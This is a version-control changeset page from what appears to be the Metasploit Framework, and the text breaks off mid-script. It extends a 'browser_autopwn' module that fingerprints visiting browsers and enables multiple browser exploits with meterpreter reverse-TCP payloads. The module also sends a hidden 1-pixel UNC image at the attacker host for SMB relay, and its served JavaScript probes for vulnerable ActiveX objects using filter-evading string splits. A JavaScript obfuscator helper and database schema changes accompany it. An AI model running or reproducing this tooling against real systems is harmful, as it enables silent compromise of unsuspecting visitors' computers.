Changeset 5563

Show
Ignore:
Timestamp:
07/22/08 02:28:05 (3 months ago)
Author:
egypt
Message:

browser_autopwn now works with mozilla_compareto, mozilla_navigatorjava, and firefox_queryinterface; increased reliability of OS and browser detection

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved
  • framework3/trunk/data/sql/mysql.sql

    r5424 r5563  
    77name VARCHAR(255), 
    88state VARCHAR(255), 
    9 info VARCHAR(1024) 
     9info VARCHAR(1024), 
     10os_name VARCHAR(255), 
     11os_flavor VARCHAR(255), 
     12os_sp VARCHAR(255), 
     13os_lang VARCHAR(255), 
     14arch VARCHAR(255) 
    1015); 
    1116 
  • framework3/trunk/data/sql/postgres.sql

    r5424 r5563  
    88name VARCHAR(255), 
    99state VARCHAR(255), 
    10 info VARCHAR(1024) 
     10info VARCHAR(1024), 
     11os_name VARCHAR(255), 
     12os_flavor VARCHAR(255), 
     13os_sp VARCHAR(255), 
     14os_lang VARCHAR(255), 
     15arch VARCHAR(255) 
    1116); 
    1217 
  • framework3/trunk/data/sql/sqlite.sql

    r5424 r5563  
    77'name' VARCHAR(255), 
    88'state' VARCHAR(255), 
    9 'desc' VARCHAR(1024) 
     9'desc' VARCHAR(1024), 
     10'os_name' VARCHAR(255), 
     11'os_flavor' VARCHAR(255), 
     12'os_sp' VARCHAR(255), 
     13'os_lang' VARCHAR(255), 
     14'arch' VARCHAR(255) 
    1015); 
    1116 
  • framework3/trunk/lib/msf/core/auxiliary/report.rb

    r5424 r5563  
    99module Auxiliary::Report 
    1010 
    11 #  
    12 # Report host and service information 
    13 
    14                          
     11 
     12        module HttpClients 
     13                IE = "MSIE" 
     14                FF = "Firefox" 
     15                SAFARI = "Safari" 
     16                OPERA  = "Opera" 
     17        end 
     18        module OperatingSystems 
     19                LINUX   = "Linux" 
     20                MAC_OSX = "Mac OSX" 
     21                WINDOWS = "Windows" 
     22 
     23                UNKNOWN = "Unknown" 
     24        end 
     25         
     26 
    1527        # Shortcut method for detecting when the DB is active 
    1628        def db 
     
    1830        end 
    1931         
     32        #  
     33        # Report a host's liveness and attributes such as operating system and service pack 
     34        # 
     35        # opts must contain :host, which is an IP address identifying the host 
     36        # you're reporting about 
     37        # 
     38        # See data/sql/*.sql and lib/msf/core/db.rb for more info 
     39        # 
    2040        def report_host(opts) 
    2141                return if not db 
    2242                addr = opts[:host] || return 
    2343                framework.db.report_host_state(self, addr, Msf::HostState::Alive) 
     44 
     45                opts.delete(:host) 
     46                if (opts.length > 0)  
     47                        framework.db.report_host(self, addr, opts) 
     48                end 
    2449        end 
    2550 
     51        #  
     52        # Report detection of a service 
     53        # 
    2654        def report_service(opts={}) 
    2755                return if not db 
  • framework3/trunk/lib/msf/core/db.rb

    r5424 r5563  
    108108        # 
    109109        def report_host_state(mod, addr, state, context = nil) 
    110  
     110                 
    111111                # TODO: use the current thread's Comm to find the host 
    112112                comm = '' 
     
    114114                 
    115115                ostate = host.state 
    116                 host.state 
     116                host.state = state 
    117117                host.save 
    118118                 
    119119                framework.events.on_db_host_state(context, host, ostate) 
     120                return host 
     121        end 
     122 
     123        # 
     124        # Report a host's attributes such as operating system and service pack 
     125        # 
     126        # At the time of this writing, the opts parameter can contain: 
     127        #       :state       -- one of the Msf::HostState constants 
     128        #       :os_name     -- one of the Msf::Auxiliary::Report::OperatingSystems constants 
     129        #       :os_flavor   -- something like "XP" or "Gentoo" 
     130        #       :os_sp       -- something like "SP2" 
     131        #       :os_lang     -- something like "English" or "French" 
     132        #       :arch        -- one of the ARCH_* constants 
     133        # 
     134        # See <MSF install dir>/data/sql/*.sql for more info 
     135        # 
     136        def report_host(mod, addr, opts = {}, context = nil) 
     137 
     138                report_host_state(mod, addr, opts[:state] || Msf::HostState::Alive) 
     139                opts.delete(:state) 
     140                 
     141                host = get_host(context, addr, '') 
     142                 
     143                opts.each { |k,v| 
     144                        if (host.attribute_names.include?(k.to_s)) 
     145                                host[k] = v 
     146                        end 
     147                } 
     148 
     149                host.save  
     150                 
    120151                return host 
    121152        end 
     
    141172                return port 
    142173        end 
    143          
     174 
    144175 
    145176        # 
  • framework3/trunk/lib/msf/core/exploit/http.rb

    r5546 r5563  
    558558        # Obfuscates symbols found within a javascript string. 
    559559        # 
     560        # Returns an ObfuscateJS object 
     561        # 
    560562        def obfuscate_js(javascript, opts) 
    561                 Rex::Exploitation::ObfuscateJS.obfuscate(javascript, opts) 
     563                js = Rex::Exploitation::ObfuscateJS.new(javascript, opts) 
     564                js.obfuscate 
     565                return js 
    562566        end 
    563567 
     
    568572        def heaplib(custom_js = '') 
    569573                Rex::Exploitation::HeapLib.new(custom_js).to_s 
     574        end 
     575 
     576        def js_base64 
     577                js = <<-ENDJS 
     578                        // Base64 implementation stolen from http://www.webtoolkit.info/javascript-base64.html 
     579                        // variable names changed to make obfuscation easier 
     580                        var Base64 = { 
     581                                // private property 
     582                                _keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", 
     583 
     584                                // private method 
     585                                _utf8_encode : function ( input ){ 
     586                                        input = input.replace(/\\r\\n/g,"\\n"); 
     587                                        var utftext = ""; 
     588                                        var input_idx; 
     589 
     590                                        for (input_idx = 0; input_idx < input.length; input_idx++) { 
     591                                                var chr = input.charCodeAt(input_idx); 
     592                                                if (chr < 128) { 
     593                                                        utftext += String.fromCharCode(chr); 
     594                                                } 
     595                                                else if((chr > 127) && (chr < 2048)) { 
     596                                                        utftext += String.fromCharCode((chr >> 6) | 192); 
     597                                                        utftext += String.fromCharCode((chr & 63) | 128); 
     598                                                } else { 
     599                                                        utftext += String.fromCharCode((chr >> 12) | 224); 
     600                                                        utftext += String.fromCharCode(((chr >> 6) & 63) | 128); 
     601                                                        utftext += String.fromCharCode((chr & 63) | 128); 
     602                                                } 
     603                                        } 
     604 
     605                                        return utftext; 
     606                                }, 
     607 
     608                                // public method for encoding 
     609                                encode : function( input ) { 
     610                                        var output = ""; 
     611                                        var chr1, chr2, chr3, enc1, enc2, enc3, enc4; 
     612                                        var input_idx = 0; 
     613 
     614                                        input = Base64._utf8_encode(input); 
     615 
     616                                        while (input_idx < input.length) { 
     617                                                chr1 = input.charCodeAt( input_idx++ ); 
     618                                                chr2 = input.charCodeAt( input_idx++ ); 
     619                                                chr3 = input.charCodeAt( input_idx++ ); 
     620 
     621                                                enc1 = chr1 >> 2; 
     622                                                enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); 
     623                                                enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); 
     624                                                enc4 = chr3 & 63; 
     625 
     626                                                if (isNaN(chr2)) { 
     627                                                        enc3 = enc4 = 64; 
     628                                                } else if (isNaN(chr3)) { 
     629                                                        enc4 = 64; 
     630                                                } 
     631                                                output = output + 
     632                                                this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) + 
     633                                                this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4); 
     634                                        } 
     635                                        return output; 
     636                                }, 
     637                                // public method for decoding 
     638                                decode : function (input) { 
     639                                        var output = ""; 
     640                                        var chr1, chr2, chr3; 
     641                                        var enc1, enc2, enc3, enc4; 
     642                                        var i = 0; 
     643 
     644                                        input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); 
     645 
     646                                        while (i < input.length) { 
     647 
     648                                                enc1 = this._keyStr.indexOf(input.charAt(i++)); 
     649                                                enc2 = this._keyStr.indexOf(input.charAt(i++)); 
     650                                                enc3 = this._keyStr.indexOf(input.charAt(i++)); 
     651                                                enc4 = this._keyStr.indexOf(input.charAt(i++)); 
     652 
     653                                                chr1 = (enc1 << 2) | (enc2 >> 4); 
     654                                                chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); 
     655                                                chr3 = ((enc3 & 3) << 6) | enc4; 
     656 
     657                                                output = output + String.fromCharCode(chr1); 
     658 
     659                                                if (enc3 != 64) { 
     660                                                        output = output + String.fromCharCode(chr2); 
     661                                                } 
     662                                                if (enc4 != 64) { 
     663                                                        output = output + String.fromCharCode(chr3); 
     664                                                } 
     665 
     666                                        } 
     667 
     668                                        output = Base64._utf8_decode(output); 
     669 
     670                                        return output; 
     671 
     672                                }, 
     673                                _utf8_decode : function (utftext) { 
     674                                        var string = ""; 
     675                                        var input_idx = 0; 
     676                                        var chr1 = 0; 
     677                                        var chr2 = 0; 
     678                                        var chr3 = 0; 
     679 
     680                                        while ( input_idx < utftext.length ) { 
     681 
     682                                                chr1 = utftext.charCodeAt(input_idx); 
     683 
     684                                                if (chr1 < 128) { 
     685                                                        string += String.fromCharCode(chr1); 
     686                                                        input_idx++; 
     687                                                } 
     688                                                else if((chr1 > 191) && (chr1 < 224)) { 
     689                                                        chr2 = utftext.charCodeAt(input_idx+1); 
     690                                                        string += String.fromCharCode(((chr1 & 31) << 6) | (chr2 & 63)); 
     691                                                        input_idx += 2; 
     692                                                } else { 
     693                                                        chr2 = utftext.charCodeAt(input_idx+1); 
     694                                                        chr3 = utftext.charCodeAt(input_idx+2); 
     695                                                        string += String.fromCharCode(((chr1 & 15) << 12) | ((chr2 & 63) << 6) | (chr3 & 63)); 
     696                                                        input_idx += 3; 
     697                                                } 
     698                                        } 
     699 
     700                                        return string; 
     701                                } 
     702 
     703 
     704                        }; 
     705 
     706                ENDJS 
     707                opts = {  
     708                        'Symbols' => {  
     709                                'Variables' => [ 
     710                                        'Base64', 'encoding',  
     711                                        'result', '_keyStr', 
     712                                        'encoded_data', 
     713                                        'utftext', 'input_idx', 
     714                                        'input', 'output', 
     715                                        'chr', 'chr1', 'chr2', 'chr3', 
     716                                        'enc1', 'enc2', 'enc3', 'enc4' 
     717                                ], 
     718                                'Methods' => [  
     719                                        '_utf8_encode', '_utf8_decode', 
     720                                        'encode', 'decode'  
     721                                ] 
     722                        } 
     723                } 
     724                js = ::Rex::Exploitation::ObfuscateJS.new(js, opts) 
     725 
     726                return js 
     727        end 
     728 
     729        def js_os_detect 
     730                return ::Rex::Exploitation::JavascriptOSDetect.new 
    570731        end 
    571732     
  • framework3/trunk/lib/msf/ui/console/command_dispatcher/db.rb

    r5424 r5563  
    4646                def cmd_db_hosts(*args) 
    4747                        framework.db.each_host do |host| 
    48                                 print_status("Time: #{host.created} Host: #{host.address}") 
     48                                print_status("Time: #{host.created} Host: #{host.address} Status: #{host.state} OS: #{host.os_name} #{host.os_flavor}") 
    4949                        end 
    5050                end 
  • framework3/trunk/lib/rex/exploitation/obfuscatejs.rb

    r5556 r5563  
    66# 
    77class ObfuscateJS 
     8        attr_reader :opts 
    89 
    910        # 
     
    1920        #    'Variables'  => [ 'var1', ... ], 
    2021        #    'Methods'    => [ 'method1', ... ], 
    21         #    'Classes'    => [ { 'Namespace' => 'n', 'Class' => 'y'}, ... ], 
    22         #    'Namespaces' => [ 'n', ... ] 
     22        #    'Namespaces' => [ 'n', ... ], 
     23        #    'Classes'    => [ { 'Namespace' => 'n', 'Class' => 'y'}, ... ] 
    2324        # } 
    2425        # 
     
    5354        # </code> 
    5455        # 
     56        # String obfuscation tries to deal with escaped quotes within strings but 
     57        # won't catch things like  
     58        #     "\\" 
     59        # so be careful. 
     60        # 
    5561        def self.obfuscate(js, opts = {}) 
    5662                ObfuscateJS.new(js).obfuscate(opts) 
     
    6066        # Initialize an instance of the obfuscator 
    6167        # 
    62         def initialize(js
     68        def initialize(js, opts = {}
    6369                @js      = js 
    6470                @dynsym  = {} 
     71                @opts    = { 
     72                        'Symbols' => { 
     73                                'Variables'=>[], 
     74                                'Methods'=>[], 
     75                                'Namespaces'=>[], 
     76                                'Classes'=>[] 
     77                        }, 
     78                        'Strings'=>false 
     79                } 
     80                @done = false 
     81                update_opts(opts) if (opts.length > 0) 
     82        end 
     83 
     84        def update_opts(opts) 
     85                if (opts.nil? or opts.length < 1) 
     86                        return 
     87                end 
     88                if (@opts['Symbols'] && opts['Symbols']) 
     89                        ['Variables', 'Methods', 'Namespaces', 'Classes'].each { |k| 
     90                                if (@opts['Symbols'][k] && opts['Symbols'][k]) 
     91                                        opts['Symbols'][k].each { |s| 
     92                                                if (not @opts['Symbols'][k].include? s) 
     93                                                        @opts['Symbols'][k].push(s) 
     94                                                end 
     95                                        } 
     96                                elsif (opts['Symbols'][k]) 
     97                                        @opts['Symbols'][k] = opts['Symbols'][k]  
     98                                end 
     99                        } 
     100                elsif opts['Symbols'] 
     101                        @opts['Symbols'] = opts['Symbols'] 
     102                end 
     103                @opts['Strings'] = opts['Strings'] || false 
    65104        end 
    66105 
    67106        # 
    68107        # Returns the dynamic symbol associated with the supplied symbol name 
     108        # 
     109        # If obfuscation has not yet been performed (i.e. obfuscate() has not been 
     110        # called), then this method simply returns its argument 
    69111        # 
    70112        def sym(name) 
     
    76118        # 
    77119        def obfuscate(opts = {}) 
     120                return @js if (@done) 
     121                @done = true 
     122 
    78123                # Remove our comments 
    79124                remove_comments 
    80  
    81                 if opts['Strings'] 
     125                 
     126                update_opts(opts) 
     127 
     128                #$stderr.puts @opts.inspect 
     129                if (@opts['Strings']) 
    82130                        obfuscate_strings() 
    83131 
    84                         # Normal space randomization does not work for 
    85                         # javascript -- despite claims that space is irrelavent, 
    86                         # newlines break things.  Instead, use only space (0x20) 
    87                         # and tab (0x09). 
     132                        # Full space randomization does not work for javascript -- despite 
     133                        # claims that space is irrelavent, newlines break things.  Instead, 
     134                        # use only space (0x20) and tab (0x09). 
    88135 
    89136                        @js = Rex::Text.compress(@js) 
     
    100147                end 
    101148                # Globally replace symbols 
    102                 replace_symbols(opts['Symbols']) if opts['Symbols'] 
    103  
    104                 @js 
     149                replace_symbols(@opts['Symbols']) if @opts['Symbols'] 
     150 
     151                return @js 
    105152        end 
    106153 
     
    114161 
    115162protected 
     163        attr_accessor :done 
    116164 
    117165        # 
     
    158206        # Change each string into some javascript that will generate that string 
    159207        # 
    160         # This tries to deal with escaped quotes within strings but 
    161         # won't catch things like  
    162         #     "\\" 
     208        # There are a couple of caveats to using string obfuscation: 
     209        #   * it tries to deal with escaped quotes within strings but won't catch 
     210        #     things like: "\\" 
     211        #   * multiple calls to this method are very likely to result in incorrect 
     212        #     code.  DON'T CALL THIS METHOD MORE THAN ONCE 
    163213        # so be careful. 
    164214        # 
  • framework3/trunk/modules/auxiliary/server/browser_autopwn.rb

    r5546 r5563  
    1111 
    1212 
    13  
    1413require 'msf/core' 
     14require 'rex/exploitation/javascriptosdetect.rb' 
    1515 
    1616module Msf 
    1717 
    1818class Auxiliary::Server::BrowserAutoPwn < Msf::Auxiliary 
    19          
    20         BROWSER_IE = "MSIE" 
    21         BROWSER_FF = "Firefox" 
    22         BROWSER_SAFARI = "Safari" 
    23         OS_LINUX   = "Linux" 
    24         OS_MAC_OSX = "Mac OSX" 
    25         OS_WINDOWS = "Windows" 
    2619 
    2720        include Exploit::Remote::HttpServer::HTML 
     
    3023        def initialize(info = {}) 
    3124                super(update_info(info,  
    32                         'Name'        => 'HTTP Client fingerprinter', 
     25                        'Name'        => 'HTTP Client fingerprinter and autoexploiter', 
    3326                        'Version'     => '$Revision: $', 
    3427                        'Description' => %q{ 
    3528                                Webbrowser fingerprinter and autoexploiter.  
    3629                                }, 
    37                         'Author'      => 'egypt <egypt@nmt.edu>', 
     30                        'Author'      => [ 
     31                                        'egypt <egypt@nmt.edu>',  # initial concept, integration and extension of Jerome's os_detect.js 
     32                                        'Jerome Athias' # advanced Windows OS detection in javascript 
     33                                ], 
    3834                        'License'     => BSD_LICENSE, 
    3935                        'Actions'     => 
     
    5450                @exploits = Hash.new 
    5551        end 
    56         def init_exploit(name) 
     52        def init_exploit(name, targ = 0) 
     53                targ ||= 0 
    5754                case name 
    58                 when %r#exploit/windows# 
     55                when %r{exploit/windows} 
    5956                        payload='windows/meterpreter/reverse_tcp' 
    6057                else 
     
    7370                        'LocalInput'     => self.user_input, 
    7471                        'LocalOutput'    => self.user_output, 
    75                         'Target'         => 0
     72                        'Target'         => targ
    7673                        'Payload'        => payload, 
    7774                        'RunAsJob'       => true) 
    7875 
    79                 #print_status("#{name} at uri #{@exploits[name].get_resource} with payload #{payload} and lport #{@lport}") 
    8076                @lport += 1 
    8177        end 
     
    8682                @lhost = datastore['LHOST'] 
    8783                @lport = @lport.to_i 
    88                 print_status("Starting exploit modules...") 
     84                print_status("Starting exploit modules on host #{@lhost}...") 
    8985 
    9086                ## 
     
    9288                ## 
    9389 
    94                 # TODO: add an Automatic target to this guy. 
     90                # TODO: add an Automatic target to all of the Firefox exploits 
     91 
     92                # Firefox < 1.0.5 
     93                # requires javascript 
     94                init_exploit('exploit/multi/browser/mozilla_compareto') 
     95 
     96                # Firefox < 1.5.0.5 
     97                # requires java 
     98                # requires javascript 
     99                init_exploit('exploit/multi/browser/mozilla_navigatorjava') 
     100 
     101                # Firefox < 1.5.0.1 
    95102                # For now just use the default target of Mac. 
    96103                # requires javascript 
    97                 #init_exploit('exploit/multi/browser/firefox_queryinterface') 
     104                init_exploit('exploit/multi/browser/firefox_queryinterface') 
    98105 
    99106                # works on iPhone  
     
    103110                #init_exploit('exploit/osx/browser/software_update') 
    104111                #init_exploit('exploit/windows/browser/ani_loadimage_chunksize') 
    105                 #init_exploit('exploit/windows/browser/apple_quicktime_rtsp') 
    106  
    107                 # Works on default IE 5.5 and 6 
     112 
     113                # does not require javascript 
     114                init_exploit('exploit/windows/browser/apple_quicktime_rtsp') 
     115 
     116                # requires javascript 
     117                init_exploit('exploit/windows/browser/novelliprint_getdriversettings') 
     118 
     119                # Works on default IE 5 and 6 
     120                # I'm pretty sure keyframe works on everything this works on, but since 
     121                # this doesn't need javascript, try it anyway. 
    108122                # does not require javascript 
    109123                init_exploit('exploit/windows/browser/ms03_020_ie_objecttype') 
    110124 
    111                 # requires javascript  
    112                 init_exploit('exploit/windows/browser/novelliprint_getdriversettings'); 
    113  
    114                 # requires javascript  
     125                # I'm pretty sure keyframe works on everything this works on and more, 
     126                # so for now leave it out. 
     127                # requires javascript 
    115128                #init_exploit('exploit/windows/browser/ms06_055_vml_method') 
    116          
     129 
    117130                # Works on default IE 5 and 6 
    118131                # requires javascript  
    119                 # requires ActiveXObject('DirectAnimation.PathControl') 
     132                # ActiveXObject('DirectAnimation.PathControl') 
     133                # classid D7A7D7C3-D47F-11D0-89D3-00A0C90833E6 
    120134                init_exploit('exploit/windows/browser/ms06_067_keyframe') 
    121135 
    122136                # only works on IE with XML Core Services 
    123137                # requires javascript 
    124                 # requires classid 88d969c5-f192-11d4-a65f-0040963251e5 
     138                # classid 88d969c5-f192-11d4-a65f-0040963251e5 
    125139                init_exploit('exploit/windows/browser/ms06_071_xml_core') 
    126140 
    127141                #init_exploit('exploit/windows/browser/winamp_playlist_unc') 
    128142 
    129                 # requires UNC path which seems to only work on IE in my tests 
    130                 #init_exploit('exploit/windows/smb/smb_relay') 
     143                # requires UNC path which only seems to work on IE in my tests 
     144                smbr_mod = framework.modules.create('exploit/windows/smb/smb_relay') 
     145                         
     146                smbr_mod.datastore['LHOST']   = @lhost 
     147                smbr_mod.datastore['LPORT']   = @lport 
     148                smbr_mod.exploit_simple( 
     149                        'LocalInput'     => self.user_input, 
     150                        'LocalOutput'    => self.user_output, 
     151                        'Target'         => 0, 
     152                        'Payload'        => 'windows/meterpreter/reverse_tcp', 
     153                        'RunAsJob'       => true) 
    131154        end 
    132155 
     
    134157                print_status("Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}") 
    135158 
    136                 browser_make = nil 
    137                 browser_ver  = nil 
    138  
    139                 ua = request['User-Agent'] 
    140                 case (ua) 
    141                         when /Firefox\/((:?[0-9]+\.)+[0-9]+)/: 
    142                                 ua_name = BROWSER_FF 
    143                                 ua_vers  = $1 
    144                         when /Mozilla\/[0-9]\.[0-9] \(compatible; MSIE ([0-9]\.[0-9]+)/: 
    145                                 ua_name = BROWSER_IE 
    146                                 ua_vers  = $1 
    147                         when /Version\/(\d+\.\d+\.\d+).*Safari/ 
    148                                 ua_name = BROWSER_SAFARI 
    149                                 ua_vers  = $1 
    150                 end 
    151                 case (ua) 
    152                         when /Windows/: 
    153                                 os_name = OS_WINDOWS 
    154                         when /Linux/: 
    155                                 os_name = OS_LINUX 
    156                         when /iPhone/ 
    157                                 os_name = OS_MAC_OSX 
    158                                 os_arch = 'armle' 
    159                         when /Mac OS X/ 
    160                                 os_name = OS_MAC_OSX 
    161                 end 
    162                 case (ua) 
    163                         when /PPC/ 
    164                                 os_arch = 'ppc' 
    165                         when /i.86/ 
    166                                 os_arch = 'x86' 
    167                 end 
    168  
    169                 os_name ||= 'Unknown' 
    170  
    171                 print_status("Browser claims to be #{ua_name} #{ua_vers}, running on #{os_name}") 
    172                 report_note( 
    173                         :host => cli.peerhost, 
    174                         :type => 'http_request', 
    175                         :data => "#{os_name} #{os_arch} #{ua_name} #{ua_vers}" 
    176                 ) 
    177  
    178                 response = create_response() 
    179  
     159                # Create a cached mapping between IP and detected target 
     160                @targetcache ||= {} 
     161                @targetcache[cli.peerhost] ||= {} 
     162                @targetcache[cli.peerhost][:update] = Time.now.to_i 
     163 
     164                # Clean the cache  
     165                rmq = [] 
     166                @targetcache.each_key do |addr| 
     167                        if (Time.now.to_i > @targetcache[addr][:update]+60) 
     168                                rmq.push addr 
     169                        end 
     170                end 
     171                                 
     172                rmq.each {|addr| @targetcache.delete(addr) } 
     173         
    180174                case request.uri 
    181                 when datastore['URIPATH']: 
    182                         # TODO: consider having a javascript timeout function that writes 
    183                         # each exploit's iframe so they don't step on each other. 
    184  
    185                         # for smb_relay 
    186                         windows_html = %Q{ 
    187                                 <div id="windows"> 
    188                                         <img src="\\\\#{@lhost}\\public\\#{Rex::Text.rand_text_alpha(15)}.jpg" style="visibility:hidden" height="1px" width="1px" /> 
    189                                 </div> 
    190                                 } 
    191                         #osx_html = %Q{ 
    192                         #       <div id="osx"> 
    193                         #               <iframe src="#{@exploits['exploit/osx/armle/safari_libtiff'].get_resource}"  
    194                         #               style="visibility:hidden" height="1px" width="1px" border="none" 
    195                         #               ></iframe>'+ 
    196                         #       </div> 
    197                         #       } 
    198  
    199                         var_onload_func = Rex::Text.rand_text_alpha(8) 
    200                         objects = {  
    201                                 'DirectAnimation.PathControl'            => @exploits['exploit/windows/browser/ms06_067_keyframe'].get_resource,  
    202                                 '{88d969c5-f192-11d4-a65f-0040963251e5}' => @exploits['exploit/windows/browser/ms06_071_xml_core'].get_resource, 
    203                                 '{36723F97-7AA0-11D4-8919-FF2D71D0D32C}' => @exploits['exploit/windows/browser/novelliprint_getdriversettings'].get_resource, 
    204                                 } 
    205                         hash_declaration = objects.map{ |k, v| "'#{k}', '#{v}'," }.join 
    206                         hash_declaration = hash_declaration[0,hash_declaration.length-1] 
    207  
    208                         script = <<ENDJS 
    209 // stolen from http://www.mojavelinux.com/articles/javascript_hashes.html 
    210 function Hash() 
    211 
    212         this.length = 0; 
    213         this.items = new Array(); 
    214         for (var current_item = 0; current_item < arguments.length; current_item += 2) { 
    215                 if (typeof(arguments[current_item + 1]) != 'undefined') { 
    216                         this.items[arguments[current_item]] = arguments[current_item + 1]; 
    217                         this.length++; 
    218                 } 
    219         } 
    220 
    221  
    222 function BodyOnLoad() { 
    223         var vuln_obj = null; 
    224         var body_elem = document.getElementById('body_id'); 
    225         // object_list contains key-value pairs like  
    226         //        {classid} => /path/to/exploit/for/classid 
    227         //   and 
    228         //        ActiveXname => /path/to/exploit/for/ActiveXname 
    229         var object_list = new Hash(#{hash_declaration}); 
    230  
    231         if (navigator.userAgent.indexof("MSIE") != -1) { 
    232                 // iterate through our list of exploits  
    233                 for (var current_item in object_list.items) { 
    234                         // classids are stored surrounded in braces for an easy way to tell  
    235                         // them from ActiveX object names, so if it has braces, strip them  
    236                         // out and create an object element with that classid 
    237                         if (current_item.substring(0,1) == '{') { 
    238                                 obj_element = document.createElement("object"); 
    239                                 obj_element.setAttribute("cl" + "as" + "sid", "cl" + "s" + "id" +":" + current_item.substring( 1, current_item.length - 1 ) ) ; 
    240                                 obj_element.setAttribute("id", current_item); 
    241                                 body_elem.appendChild(obj_element); 
    242